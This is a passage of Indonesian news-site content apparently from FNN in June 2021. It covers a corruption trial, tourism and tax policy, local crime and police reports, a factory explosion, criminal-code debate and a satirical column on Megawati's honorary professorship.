ini, Jakarta Marketing Week diadakan secara OMNI atau kolaborasi antara online dan offline pada Rabu, 9 Juni 2021. Tahun ini, BUMN dan BUMD Marketeers Awards mengambil tema Digital Transformation in Marketing untuk BUMN Marketeers Award dan Transformasi Digital Pemasaran untuk Kolaborasi Jakarta untuk BUMD Marketeers Award. Dengan hadirnya gelaran acara BUMN dan BUMD Award 2021, diharapkan bagi perusahaan dan anak perusahaan BUMN dan BUMD senantiasa berprestasi dengan penerapan strategi di masa tranformasi digital saat ini. (mth)

Jaksa KPK: Edhy Prabowo Sawer Pedangdut Betty Elista Rp66 Juta

Jakarta, FNN - Jaksa Penuntut Umum (JPU) Komisi Pemberantasan Korupsi (KPK) mengungkapkan pemberian Rp66 juta untuk pedangdut Betty Elista dari mantan Menteri Kelautan dan Perikanan Edhy Prabowo. "Saya akan bacakan BAP saudara Betty Elista di sini disebutkan bahwa 'Saya (Betty) pernah menerima uang dari Edhy Prabowo melalui transfer sebesar Rp66 juta selama kurun waktu 2020," kata Jaksa KPK dalam sidang, di Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Rabu. Betty Elista seharusnya dihadirkan sebagai saksi untuk enam orang terdakwa, yaitu Edhy Prabowo, Andreau Misanta Pribadi, dan Safri (staf khusus Edhy Prabowo), Amiril Mukminin (sekretaris pribadi Edhy), Ainul Faqih (sespri istri Edhy, Iis Rosita Dewi), dan Siswadhi Pranoto Loe (pemilik PT Aero Cipta Kargo) yang didakwa bersama-sama menerima 77 ribu dolar AS dan Rp24,625 miliar, sehingga totalnya mencapai sekitar Rp25,75 miliar dari para pengusaha pengekspor benih bening lobster (BBL) terkait pemberian izin budi daya dan ekspor pada Selasa (8/6), namun yang bersangkutan tidak menghadiri panggilan. Ketua majelis hakim lalu meminta JPU untuk membacakan BAP Betty. "Saudari Betty Elista 'point' saja biar tidak tebal berita acaranya, sejauh mana saksi Betty Elista kenal dengan subjek pertanyaan nomor 4 (para terdakwa) poin 1 sampai 7 coba ditandai dulu penuntut umum," kata ketua majelis hakim Albertus Usada. "Khusus butir keempat mengenai saudara Edhy Prabowo dan berkenaan aliran dana uang toh singkat itu saja, kepada penuntut umum dipersilakan dibacakan," ujar Albertus. JPU lalu membacakan keterangan Betty bahwa ia tidak mengenal Suharjito, Safri, Andreau Misanta Pribadi, Ainul Faqih, namun mengenal Edhy Prabowo dan mengetahui Amiril Mukminin. "Bahwa saksi kenal dengan Edhy Prabowo, bahwa saksi kenal dengan yang bersangkutan pada tahun 2019 saat kunjungan kerja KKP ke Palembang," ujar jaksa. Sedangkan Betty mengaku tahu orang bernama Amiril, karena Edhy Prabowo pernah mengirim "screen shot" transfer ke rekening pribadi Betty bahwa Amiril mengirim uang sejumlah Rp10 juta. "Menerima uang dari Edhy Prabowo melalui transfer sebesar Rp66 juta selama kurun waktu 2020 dengan rincian sebagai berikut," kata jaksa pula. Pertama, pada 28 Januari 2020, Betty mendapat transfer sebesar Rp5 juta dari Edhy Prabowo "Karena sebelumnya yang bersangkutan meminta saya untuk nomor rekening dengan tujuan memberikan saweran tips kepada saya, karena saya telah menyanyi di acara tersebut," ungkap jaksa membacakan Berita Acara Pemeriksaan (BAP) Betty. Pada 12 Februari 2020, kembali Betty mendapat transfer ke rekening pribadinya dari Edhy Prabowo sebesar Rp10 juta menggunakan nama Amiril Mukminin. "Uang tersebut dikirim, karena Edhy menginginkan saya datang ke Jakarta untuk menemuinya," kata jaksa. Ketiga, sekitar 12 Februari 2020 ada transfer ke rekening Betty sebesar Rp20 juta dari Edhy Prabowo atas nama Amiril Mukminin. Keempat, pada 4 Maret 2020, Betty kembali mendapat transfer sebesar Rp5 juta. Dalam dakwaan disebutkan pada September-Oktober 2020, Edhy memberikan uang Rp15 juta kepada Betty Elista. (mth)

Dahsyat, Kemampuan Akademis Prof Dr Megawati

By Asyari Usman Medan, FNN - Setelah diberi gelar doktor kehormatan, Megawati Soekarnoputri akan menerima gelar profesor kehormatan dari Universitas Pertahanan (Unhan) yang berkampus di Sentul, Kabupaten Bogor. Acara penobatan akan berlangsung Jumat, 11 Juni 2021. Akan sempurnalah kapasitas akademis beliau: Prof Dr Megawati Soekarnoputri. Unhan mengatakan mereka menerima seluruh karya ilmiah Megawati. Presiden kelima ini akan menyampaikan pidato ilmiah yang berjudul "Kepemimpinan Strategis Pada Masa Kritis". Banyak yang merasa heran, terutama para netizen. Mereka mencibiri gelar profesor kehormatan itu. Padahal, untuk mendapatkan gelar ini Bu Mega “menulis” begitu banyak karya ilmiah. Salah satu yang viral adalah “Kepemimpinan Presiden Megawati Pada Era Krisis Multidimensi, 2001-2004”. Ini tidak sembarangan. Beliau mengklaim telah melakukan penelitian kualitatif. Pendekatannya studi kasus. Membaca sepintas, karya ilmiah Bu Mega ini memang dahsyat. Di bagian “abstrak”-nya, Bu Mega mengatakan penelitian ini menggunakan kerangka teori Byman dan Pollack (2001) sebagai pisau analisis. Tulisan ini dihiasi kutipan kelas dunia. Untuk tulisan 16 halaman ini, Bu Mega mengutip 19 buku dan tulisan ilmiah plus tujuh undang-undang RI. Serius sekali. Bu Mega telah membaca banyak buku tentang ekonomi, politik, perbankan, bisnis, dll. Di bagian awal saja Bu Mega menunjukkan pemahaman yang luas dan dalam tentang krisis moneter 1997-1998 tempo hari. Intinya, lewat tulisan yang dimuat di Jurnal Pertahanan & Bela Negara, April 2021, Volume 11 Nomor 1, Megawati mengatakan bahwa kepemimpinan dia sebagai presiden 2001-2004 sangatlah hebat. Sebab, krisis yang melanda Indonesia datang dari berbagai arah (multidimensional). Dan krisis berat ini bisa dinavigasikannya dengan piawai. Membaca karya ilmiah ini, terlihat literasi Bu Mega sangat luas spektrumnya. Di bagian “Pendahuluan”, Bu Mega memberikan isyarat bahwa dia membaca berbagai analisis termasuk Kuncoro (2011), Basri (2011), Wirutomo (2003), Harahap (2018), Windiani (2017), Byman (1986), Fielder (1967), Avolio (2007), Larry Greiner (1972), Moleong (2008), Yin (2013), Lukman (2004). Bu Mega juga membaca tulisan Robert D Putnam (Universitas Harvard) yang berjudul “Diplomacy and Domestic Politics: The Logic of Two-Level Games”. Artikel ini menyimpulkan bahwa persetujuan internasional baru akan didukung kalau memberikan keuntungan domestik. Megawati mengutip artikel 34 halaman yan terbit di jurnal International Organization ini untuk menjelaskan bahwa dia adalah presiden yang memiliki kemampuan diplomasi yang luar biasa. Tetapi, ada buku Putnam yang sangat relevan dengan situasi dan kondisi politik Indonesia yang tidak dijadikan rujukan. Yaitu, “Making Democracy Work” (1993). Buku ini membahas soal “social capital” (modal sosial). Menurut buku ini, sukses demokrasi sangat bergantung pada “horizontal bonds” (ikatan horizontal) di tengah masyarakat. Intinya adalah “trust” (kepercayaan) antara satu dengan yang lainnya. Nah, seperti apa ikatan horizontal di negeri ini pada saat sekarang? Tentu kita semua bisa lihat sendiri. Rajut sosial sudah rusak berat gara-gara pemimpin yang tidak berkualitas. Padahal, kata Putnam, modal sosial yang kuat akan mendorong partisipasi publik yang tinggi dan juga menumbuhkan kemakmuran ekonomi. Nyatanya, aspek ini hancur-lebur. Megawati juga mengutip buku Barry Buzan “People, States and Fear” (1991). Dengan mengutip profesor hubungan internasional di London School of Economic ini, Bu Mega mau menjelaskan betapa beratnya ancaman keamanan dalam kategori militer, politik, lingkungan, ekonomi dan sosial semasa dia menjadi presiden. Tapi, semua itu bisa diatasinya. Keren, bukan? Kemudian, dia juga mengutip Robinson & Rosser (1998) tentang utang luar negeri (ULN) Indonesia sebesar 150 miliar USD yang ditinggalkan Orde Baru. Di sini, Mega mengklaim bahwa dia berhasil meminta penjadwalan ULN itu di forum Paris Club dan London Club. Padahal, penjadwalan ulang adalah formula yang akan disetujui oleh semua kreditur internasional. Sebab, semua pihak paham tentang kesulitan debitur mana pun untuk membayar utang yang jatuh tempo pada masa krisis. Paris Club dan London Club tak mungkin memaksa Indonesia membayar tepat waktu. Bahkan, tanpa perundingan pun pasti para kreditur akan menawarkan penjadwalan ulang (reschedule). Jadi, klaim Megawati ini tampaknya “patronizing”. Seolah orang lain tidak mengerti. Dikutip pula Dahuri & Samah (2019) tentang larangan impor, sebaliknya mendorong swadaya pangan. Dicantumkan pula Wuryandari (2008) tentang “sense of urgency” dan “sense of crisis” yang dia katakan tidak dimiliki oleh pemerintah sebelum dia menjadi presiden. Megawati juga mengklaim keberhasilan dalam reformasi peranan militer (TNI). Dia membanggakan UU No 3 Tahun 2002 tentang Pertahanan Negara yang disahkan semasa dia presiden. UU ini adalah bagian dari reformasi TNI yang “on going” (terus bergulir). Urusan reformasi TNI terlalu besar bagi Bu Mega untuk mengklaim seolah beliaulah yang menginisiasi perubahan itu. Harap diingat, reformasi TNI adalah desakan rakyat. Bukan desakan DPR, apalagi desakan presiden. Bu Mega juga menulis, “Masa kepemimpinan Megawati menorehkan tinta emas dalam penataan hubungan sipil-militer di Indonesia.” Klaim ini mengabaikan peranan Presiden Gus Dur. Kemudian, di bagian lain Megawati mengklaim langkah-langkah strategis dengan membentuk badan-badan yang di kemudian hari menjadi sangat penting. Termasuklah Badan Nasional Penanggulangan Bencana (BNPB), Badan Narkotika Nasional (BNN), Komisi Perlindungan Anak Indonesia (KPAI), Komisi Pemberantasan Korupsi (KPK), Komisi Penyiaran Indonesia (KPI), Mahkamah Konstitusi (MK), Komisi Yudisial (KY), Lembaga Penjamin Simpanan (LPS), dlsb. Ini pun klaim yang sifatnya “itu saya, ini saya, semuanya saya”. Bu Mega seharusnya paham bahwa proses reformasi yang diawali dengan lengsernya Presiden Soeharto pada 1998, pastilah akan berlanjut bertahun-tahun kemudian. Bahkan hingga sekarang pun reformasi masih belum tuntas. Artinya, pembentukan badan-badan itu hanyalah menunggu antrian prioritas agenda reformasi tsb. Cepat atau lambat pasti berlanjut ke situ. Kebetulan pembentukannya memang kondusif pada era Bu Mega. Dia tentu berperan. Tapi, mengklaim bahwa itu semua tak akan terlaksana tanpa “leadership” dia, bisa memicu rasa mual. Bagaimana pun juga, tulisan ilmiah ini menunjukkan Bu Mega memiliki kemampuan akademis yang dahsyat. Karena itu, ada baiknya Prof Dr Megawati aktif membimbing mahasiswa S3. Sayang sekali kalau ilmuwan sekaliber beliau ini tidak menularkan kapabilitasnya kepada para calon pemimpin yang dibutuhkan Indonesia. Wawasan Bu Mega yang begitu luas dengan literasi “high end” yang meyakinkan, sangat diperlukan oleh banyak kampus.[] Penulis wartawan senior FNN.co.id

Pemda DIJ Siap Berkolaborasi Dukung "Work From Jogjakarta"

Yogyakarta, FNN - Pemerintah Daerah Istimewa Jogjakarta siap berkolaborasi dengan para pelaku pariwisata di wilayah ini untuk mendukung realisasi program "Work From Jogjakarta" atau bekerja dari Jogjakarta seperti yang diwacanakan Menteri Pariwisata dan Ekonomi Kreatif (Menparekraf) Sandiaga Uno. "Karena muncul lagi wacana 'Work From Jogja', kami siap untuk berkolaborasi lagi. Saya kira teman-teman pegiat pariwisata sudah siap," kata Sekretaris Daerah Istimewa Jogjakarta (Sekda DIJ) Kadarmanta Baskara Aji seusai seminar "Gugur Gunung Percepatan Pemulihan Perekonomian DIJ" di JogJakarta, Rabu. Menurut Aji, selain memastikan kesiapan para pelaku pariwisata, Pemda DIJ tengah menyiapkan insentif mendukung program tersebut. Bentuk insentif yang bakal diberikan, menurut dia, bisa beragam. Salah satu di antaranya dapat berwujud insentif menonton pertunjukan bagi setiap wisatawan yang menginap di hotel. "Kerjanya kan siang, malam kami berikan insentif misalnya pertunjukan Ramayana atau apa. Bisa juga kami beri voucher makan di Malioboro, misal pecel lele. Tidak 'dithutuk' (dipukul dengan harga yang terlalu tinggi) tapi justru didiskon," kata dia. Melalui program itu, ia menilai siapa pun yang bekerja sembari berwisata di DIJ dapat menikmati insentif yang ditawarkan termasuk bentuk produk suvenir, hotel, serta kuliner. Menurutnya, pertumbuhan pariwisata DIJ di tengah pandemi COVID-19 sangat bergantung pada kolaborasi dan kerja sama dari semua pihak. "Saatnya kita semua dari berbagai sektor terus gotong royong dengan tujuan meningkatkan pertumbuhan ekonomi," kata dia. Ia berharap sinergi yang tercipta ini tak sekadar mendukung sektor perekonomian saja, melainkan juga sektor pendidikan DIJ. Menparekraf Sandiaga Uno di Jakarta (7/5) menyebut tengah menyiapkan Daerah Istimewa JogJakarta sebagai destinasi wisata bagi para pekerja. Inisiatif serupa sebelumnya telah diterapkan di Bali melalui program "Work From Bali". Kepala Dinas Pariwisata DIY, Singgih Raharjo memastikan bahwa pariwisata DIY telah siap menerapkan program Work From Jogjakarta. "Apalagi koneksi internet di Jogjakarta saya rasa tidak ada hambatan. JogJakarta saya kira punya potensi karena bisa ditempuh dengan moda apapun," ujar Singgih. Sebelum konsep wisata tersebut didorong Menparekraf, sejumlah hotel di DIY telah menggagas paket work from hotel untuk menarik wisatawan atau pengunjung dari kalangan pekerja. Mulai dari suasana hingga koneksi internet, kata dia, telah disiapkan para pengelola hotel agar nyaman disinggahi para pengunjung sebagai tempat bekerja. Selain hotel, Singgih menuturkan desa wisata yang ada di DIJ juga cukup potensial sebagai destinasi bagi para pekerja. Apalagi di desa wisata pada umumnya terdapat home stay bisa dimanfaatkan sebagai ruang kerja yang nyaman. (mth)

Peneliti: Skema PPN pada Sembako Bisa Mengancam Ketahanan Pangan

Jakarta, FNN - Peneliti Center for Indonesian Policy Studies (CIPS) Felilppa Ann Amanta menyatakan bahwa rencana pengenaan skema pajak pertambahan nilai (PPN) terhadap barang barang kebutuhan pokok atau sembako bisa mengancam ketahanan pangan. "Pengenaan PPN pada sembako mengancam ketahanan pangan, terutama bagi masyarakat berpendapatan rendah," kata Felippa Ann Amanta dalam rilis di Jakarta, Rabu. Hal itu, ujar dia, antara lain karena lebih dari sepertiga masyarakat Indonesia tidak mampu membeli makanan yang bernutrisi karena harga pangan yang mahal. Ia berpendapat bahwa menambah PPN akan menaikkan harga dan memperparah situasi, apalagi saat pandemi ketika pendapatan masyarakat berkurang. "Pangan berkontribusi besar pada pengeluaran rumah tangga, dan bagi masyarakat berpendapatan rendah, belanja kebutuhan pangan bisa mencapai sekitar 56 persen dari pengeluaran rumah tangga mereka," paparnya. Untuk itu, ujar dia, pengenaan PPN pada sembako tentu saja akan lebih memberatkan bagi golongan tersebut, terlebih lagi karena PPN yang ditarik atas transaksi jual-beli barang dan jasa yang dilakukan oleh Pengusaha Kena Pajak (PKP), pada akhirnya akan dibebankan pengusaha kepada konsumen. Ia mengingatkan bahwa ketahanan pangan Indonesia sendiri berada di peringkat 65 dari 113 negara, berdasarkan Economist Intelligence Unit's Global Food Security Index. Salah satu faktor di balik rendahnya peringkat ketahanan pangan Indonesia ini adalah masalah keterjangkauan. Keterjangkauan pangan yang menurun dengan sendirinya akan mendorong lebih banyak lagi masyarakat berpenghasilan rendah ke bawah garis kemiskinan. Secara lebih umum lagi kenaikan harga akan mendorong inflasi dan mengurangi daya beli masyarakat. Dengan daya beli yang menurun, masyarakat akan mengurangi belanja. Padahal, lanjut Felippa, belanja rumah tangga, bersama konsumsi pemerintah, merupakan komponen pertumbuhan ekonomi negara yang relatif dapat didorong oleh pemerintah dalam jangka pendek untuk memulihkan perekonomian nasional di saat-saat sulit seperti sekarang ini. Ssejumlah media memberitakan tentang revisi Undang-Undang Nomor 6 tahun 1983 tentang Ketentuan Umum dan Tata Cara Perpajakan (KUP). Revisi tersebut akan mencakup penghapusan sejumlah barang kebutuhan pokok dari kelompok jenis barang yang tidak dikenai PPN. (mth)

Deretan Pejabat Negara Yang Diserang Rakyatnya

Jakarta, FNN -- Presiden Prancis Emmanuel Macron ditampar warga saat melakukan kunjungan kerja ke wilayah Drome. Insiden itu terekam video dan menyebar di media sosial. Video itu menunjukkan Macron ditampar saat berada di kerumunan warga. Macron terlihat berjalan ke arah kerumunan warga. Dia kemudian mengulurkan tangan untuk menyalami seorang pria. Namun, pria itu malah menampar wajahnya. Perdana Menteri Prancis Jean Castex mengatakan serangan tersebut merupakan penghinaan terhadap demokrasi. Selain Macron, sejumlah kepala negara di dunia juga pernah mengalami insiden serupa. Berikut deretan kepala negara yang pernah menghadapi serangan personal di tempat umum yang dirangkum dari berbagai sumber. Presiden Brasil Ditikam Presiden Brasil Jair Bolsonaro ditikam orang tak dikenal saat kampanye untuk Pemilu pada 2018. Menurut laporan, penyerang mengaku melakukan aksi nekat lantaran tengah menjalani misi dari Tuhan. Ia kemudian dikirim ke rumah sakit jiwa. Bolsonaro hanya mengalami luka ringan, dan tak perlu menjalani perawatan lama, sebab kondisinya cepat membaik. Akibat insiden itu, Bolsonaro mendulang simpati publik, dan hal tersebut menguntungkannya, membawa ia naik ke tampuk kekuasaan. Menkopolhukam Wiranto Ditusuk Mantan Menteri Koordinator Bidang Politik, Hukum dan Keamanan, (Menko Polhukam) Wiranto menjadi target dari serangan penusukan di Kabupaten Pandeglang. Peristiwa tersebut terjadi di Alun-alun Menes, Pandeglang, Kamis, 10 Oktober 2019. Saat itu Wiranto usai menghadiri sebuah acara di Universitas Mathla'ul Anwar, hendak kembali ke Jakarta menggunakan helikopter. Pelaku penusukan Wiranto merupakan dua orang pasangan suami istri, yakni SA dan FA. Selain Wiranto, terdapat tiga korban penusukan lain, yakni Kapolsek Menes Kompol Dariyanto, Tokoh Masyarakat Menes Fuad Syauki dan satu orang ajudan Wiranto. Mantan PM Italia Diserang Mantan Perdana Menteri Italia, Silvio Berlusconi mengalami insiden yang tak menyenangkan 2009 silam. Berlusconi diserang usai unjuk rasa di Milan. Ia saat itu kehilangan banyak darah hingga setengah liter. Tak hanya darah yang mengucur, jutawan itu juga kehilangan dua gigi, dan tulang hidungnya patah. Sehingga memaksa Berlusconi menjalani perawatan yang cukup lama dengan dokter gigi dan ahli bedah. Mantan Presiden AS Dilempar Sepatu Presiden Amerika Serikat periode 2001-2009, George Bush pernah dilempari sepatu oleh seorang jurnalis dari Irak, Muntazer al-Zaidi pada 2008. Namun, Bush dapat menghindari sepatu itu. "Saya berharap saya menangkap benda sialan itu," katanya. Bush diketahui melakukan invasi ke Irak pada 2001. Mantan Wakil PM Inggris Mantan Wakil Perdana Menteri Inggris John Prescott dilempari telur oleh seorang pekerja pertanian pada 2001. Ia lalu memukul orang itu dengan tangan kirinya. Mantan Kanselir Jerman Diserbu Tomat Mantan kanselir Jerman Helmut Kohl saling baku hantam dengan demonstran di Halle, Jerman timur, pada 1991. Kohl juga dilempari tomat, telur dan cat. Kemudian penjaga keamanan berusaha melerai pertikaian itu. (CNN)

Polisi Tangkap Belasan Tukang Parkir di Palembang Terkait Pungli

Palembang, FNN - Tim Jatanras Polda Sumatera Selatan menangkap belasan tukang parkir dari sejumlah kawasan pusat keramaian dan pasar di Kota Palembang, karena diduga melakukan pungutan liar atau memungut uang parkir di luar ketentuan. Kasubdit 3 Jatanras Polda Sumsel, Kompol Christoper Panjaitan di Palembang, Rabu, mengatakan pihaknya menurunkan tim menyelusuri beberapa lokasi tempat parkir yang juru parkirnya diviralkan di media sosial melakukan pungutan uang parkir di luar ketentuan retribusi parkir yang ditetapkan Pemkot setempat yakni Rp1.000 untuk sepeda motor dan Rp2.000 untuk mobil. Dia menjelaskan, setelah adanya pengaduan masyarakat dan viralnya video juru parkir di Palembang yang meminta uang parkir hingga Rp10.000 kepada pemilik mobil pribadi.Selanjutnya, pihak kepolisian melakukan operasi penertiban pungli di jalan dan pusat keramaian. Dalam operasi pungli tersebut, diamankan 14 juru parkir yang tidak memiliki izin dan diduga melakukan penarikan uang parkir melebihi ketentuan dari kawasan Jalan Kolonel Atmo, Pusat Perbelanjaan Megaria, Jalan Beringin Janggut I, bawah jembatan Ampera kawasan Pasar 16 Ilir, bundaran air mancur, Jalan Merdeka kawasan Kambang Iwak, katanya. Juru parkir yang diamankan itu didata dan dilakukan pemeriksaan mengenai maksud dan tujuan mereka melakukan pungli atau tindakan yang menimbulkan keresahan bagi pemilik kendaraan yang memarkirkan kendaraannya di kawasan tempat mereka beroperasi. Setelah dilakukan pemeriksaan dan mereka mengakui kesalahannya melakukan pemungutan uang parkir di luar ketentuan dan tidak memiliki izin sebagai juru parkir, mereka diizinkan pulang. Juru parkir tersebut masih diberikan kesempatan mengikuti program pembinaan, namun jika terbukti kembali melakukan aksi pungli akan diproses sesuai dengan ketentuan hukum, ujarnya. Sementara Sekda Palembang, Ratu Dewa mendukung operasi penindakan terhadap juru parkir yang melakukan pungutan liar atau penarikan retribusi parkir di luar ketentuan. Tindakan juru parkir yang melakukan pungli terhadap pemilik kendaraan bermotor yang parkir di sejumlah tempat parkir hingga Rp10.000 sudah sangat keterlaluan dan melanggar ketentuan. Sesuai Peraturan Daerah (Perda) Palembang No 16 Tahun 2011, retribusi parkir untuk kendaraan roda dua Rp1.000 dan kendaraan roda empat Rp2.000 untuk satu kali parkir di tempat-tempat yang telah ditentukan. Jika warga menghadapi juru parkir yang meminta uang parkir di luar ketentuan Perda yang mengatur retribusi parkir tersebut, diimbau untuk melaporkannya kepada pihaknya atau aparat kepolisian terdekat karena perbuatan pungli merupakan tindak kriminal, kata Sekda Ratu Dewa. (sws)

Polisi Periksa Enam Saksi Ledakan Pabrik di Gresik

Gresik, Jatim, FNN - Aparat Kepolisian Resor (Polres) Gresik, Polda Jawa Timur memeriksa enam orang saksi dalam ledakan di salah satu pabrik Jalan Dharmo Sugondo, Kecamatan Kebomas,di wilayah setempat yang menewaskan lima pekerjanya. "Untuk saat ini baru enam saksi yang kami periksa. Selanjutnya, masih dilakukan penyelidikan dan pemeriksaan Labfor Polda Jatim," kata Kapolres Gresik AKBP Arief Fitrianto, saat dikonfirmasi di Gresik, Rabu. Alumnus Akpol 2001 itu mengatakan, pihaknya juga akan terus mendalami ledakan yang terjadi di kawasan industri setempat. Sebelumnya, lima orang tewas dalam kejadian ledakan yang diduga berasal dari tangki metanol milik PT Citra Adi Sarana (CAS) Indonesia. Nama-nama korban itu masing-masing Muhammad Burhanudin Al Ansori (22) dan Ibnu Attoilah (21). Keduanya berasal dari Kabupaten Trenggalek dan saat ini berada di kamar jenazah RS Semen Gresik. Kemudian Septianingrum (26) dari Kabupaten Kediri, Muhammad Andik (33) warga Kelurahan Gending, Kecamatan Kebomas Gresik, dan Johanes Saputro (22) warga Kabupaten Lamongan. Jenazah ketiganya berada di RSUD Ibnu Sina Gresik. Sedangkan korban luka, masing-masing Nur Kholik (35) warga Kelurahan Sukorame Gresik, dan Ali (25) yang mengalami luka bakar di sekujur tubuh dirawat di RS Semen Gresik. (sws)

Gerai Makanan Cepat Saji McDonald's Jambi Disegel Satpol PP

Jambi, FNN - Gerai makanan cepat saji terkemuka McDonald's Jambi yang beralamat di Jalan Sumantri Brojonegoro No 54, Keluruhan Sungai Putri, Kecamatan Danau Teluk, Kota Jambi disegel Satpol PP Kota Jambi. Rabu, karena dnilai telah mengabaikan dan melanggar protokol kesehatan (prokes) COVID-19. Penyegelan itu dilakukan di tengah gencarnya pemerintah memberlakukan penerapan prokes mencegah penularan COVID-19 di Kota Jambi. Penyegelan gerai McDonald's tersebut dilakukan dan dipimpin langsung oleh Kasatpol PP Kota Jambi Mustari Affandi, dibantu petugas kepolisian dan TNI serta personel Satpol PP. Penyegelan tersebut, dilatarbelakangi karena masyarakat terlihat berjejal tidak menjaga jarak hingga membuat kerumunan yang padat saat hendak membeli makanan. Akibatnya mereka tidak mematuhi protokol kesehatan untuk mencegah penularan COVID-19 di Kota Jambi. "Pelaku usaha ternama ini tidak mematuhi protokol kesehatan dan terjadi kerumunan serta tidak menjaga jarak, terutama dari yang pesan makanan via aplikasi Gojek," kata Mustari. Dia menjelaskan penyebab utama masyarakat berbondong-bondong membeli makanan di McDonald's, karena sedang mengadakan promo besar-besaran, dan kami melakukan penutupan sementara, sehingga pelaku usaha diharapkan untuk melakukan kewajibannya. Kasatpol PP Kota Jambi Mustari berharap kepada pelaku usaha yang lain, apabila sedang mengadakan promo makanan diharapkan melapor kepada Satgas COVID-19 Kota Jambi, agar tetap menjalankan aturan protokol kesehatan dan agar bisa melakukan upaya serta langkah penanganan sehingga tidak terjadi kerumunan dan menjaga jarak saat konsumen berbelanja. (sws)

Pakar: Pasal Perzinaan di RUU KUHP Upaya Melindungi Perempuan

Jakarta, FNN - Pakar hukum pidana Universitas Al-Azhar Suparji Ahmad mengatakan perluasan pasal perzinaan dalam Rancangan Undang-Undang Kitab Undang-Undang Hukum Pidana (RUU KUHP) merupakan upaya melindungi kaum perempuan. "Aturan itu merupakan upaya untuk melindungi harkat dan martabat kaum perempuan. Hal ini mengingat yang paling banyak sebagai korban adalah perempuan," kata Suparji dihubungi di Jakarta, Rabu. Meskipun dalam pandangan umum hubungan itu merupakan hal pribadi yang dilakukan suka sama suka, menurut Suparji, beban berat berada pada pihak perempuan. Selain itu, perluasan pasal perzinaan dalam RUU KUHP merupakan sebuah upaya yang merumuskan sebuah rancangan undang-undang yang sesuai dengan keindonesiaan dan kehidupan berbangsa dan bernegara. "Indonesia sangat menjunjung tinggi nilai-nilai agama, moral, kesusilaan, dan etika sehingga praktik seperti itu harus dicegah. Bagi yang melanggar, akan dikenai hukuman," kata Suparji. Draf RUU KUHP mengatur pasal perzinaan dan juga hidup bersama layaknya suami istri di luar hubungan pernikahan alias "kumpul kebo" dalam Pasal 417 dan Pasal 418. "Masalahnya nantinya adalah saat implementasi, dimungkinkan terjadinya kriminalisasi jika ada pihak-pihak lain yang merasa dirugikan," ujar Suparji. Secara keseluruhan, Suparji melihat aturan itu merupakan hal yang wajar karena negara perlu hadir untuk melindungi kepentingan warga negara secara keseluruhan. Ia lantas menyebutkan indikator dalam melihat wajar atau tidaknya sebuah norma dalam aturan hukum, yakni ideologi Pancasila, UUD NRI Tahun 1945, asas hukum yang berlaku secara universal dan teori hukum modern yang dipakai dibanyak negara. "Semua agama melihat perzinaan merupakan hal yang tabu, sesuatu yang tidak boleh dilakukan," kata Suparji menegaskan. Draf RUU KUHP pada Pasal 417 termuat empat ayat, yakni Ayat (1) menyebutkan setiap orang yang melakukan persetubuhan dengan orang yang bukan suami atau istrinya dipidana karena perzinaan dengan pidana penjara paling lama 1 tahun atau denda Kategori II maksimal Rp10 juta. Pada Ayat (2) ditegaskan bahwa ancaman hukuman harus adanya laporan pengaduan. Adapun bunyinya: "Tindak pidana sebagaimana dimaksud pada Ayat (1) tidak dilakukan penuntutan, kecuali atas pengaduan suami, istri, orang tua, atau anaknya." Dalam Ayat (4) disebutkan bahwa pengaduan dapat ditarik kembali selama pemeriksaan di sidang pengadilan belum dimulai. Selanjutnya, Pasal 418 mengatur terkait dengan pasangan yang melakukan hidup bersama layaknya suami istri atau kumpul kebo dapat diancam pidana 6 bulan penjara. "Setiap orang yang melakukan hidup bersama sebagai suami istri di luar perkawinan dipidana dengan pidana penjara paling lama 6 bulan atau pidana denda paling banyak Kategori II atau Rp10 juta," demikian bunyi Pasal 418 Ayat (1). Pada Ayat (2): "Tindak Pidana sebagaimana dimaksud pada Ayat (1) tidak dilakukan penuntutan kecuali atas pengaduan suami, istri, orang tua, atau anaknya." Pada ayat (3): "Pengaduan sebagaimana dimaksud pada Ayat (2) dapat juga diajukan oleh kepala desa atau dengan sebutan lainnya sepanjang tidak terdapat keberatan dari suami, istri, orang tua, atau anaknya." Sementara itu, pada Ayat (5) disebutkan bahwa pengaduan dapat ditarik kembali selama pemeriksaan sidang pengadilan belum dimulai. Sebelumnya, Menteri Hukum dan Hak Asasi Manusia Yasonna Laoly mengatakan pemerintah masih menyosialisasikan RUU KUHP kepada masyarakat. Yasonna mengklaim masyarakat memberikan respons positif walaupun ada pro dan kontra yang timbul di tengah masyarakat terkait draf RKUHP yang disosialisasikan oleh Pemerintah. "Saat ini sudah diadakan roadshow ke beberapa daerah, 11 daerah, terakhir di Jakarta, tentang RUU KUH Pidana dan mendapat respons positif bagi masyarakat," kata Yasonna dalam rapat dengan Komisi III DPR di Jakarta, Rabu. (sws)

Tersangka Kasus Pembunuhan Santri di Sumut Bertambah Jadi Tiga

Medan, FNN - Pihak kepolisian menetapkan lagi dua orang sebagai tersangka kasus penganiayaan berujung kematian seorang santri di Pesantren Darul Arafah Raya, Kabupaten Deli Serdang, Sumatera Utara, berinisial FWA (15), sehingga total menjadi tiga tersangka. "Total jumlah tersangka bertambah, kini menjadi tiga orang," kata Wakasat Reskrim Polrestabes Medan Kompol Rafles Marpaung kepada wartawan, di Medan, Rabu. Namun, dia tidak menyebut identitas dua tersangka baru tersebut. Ia hanya mengatakan bahwa kedua tersangka juga merupakan santri di pesantren tersebut. Penetapan kedua tersangka lagi itu, setelah pihak kepolisian melakukan pemeriksaan mendalam terhadap tersangka utama yakni ALH (17) yang merupakan kakak kelas korban. "Kedua orang yang ditetapkan tersangka ini juga santri," katanya pula. Sebelumnya, peristiwa penganiayaan berujung kematian terhadap korban FWA terjadi pada Sabtu (5/6) sekitar pukul 22.00 WIB. Sebelum meninggal, korban sempat dilarikan ke klinik pesantren untuk diberikan pertolongan pertama. Namun, korban tak terselamatkan dan dinyatakan meninggal dunia. (sws)

KKP Amankan Tujuh Kapal Tangkap Ikan Secara Ilegal di Riau

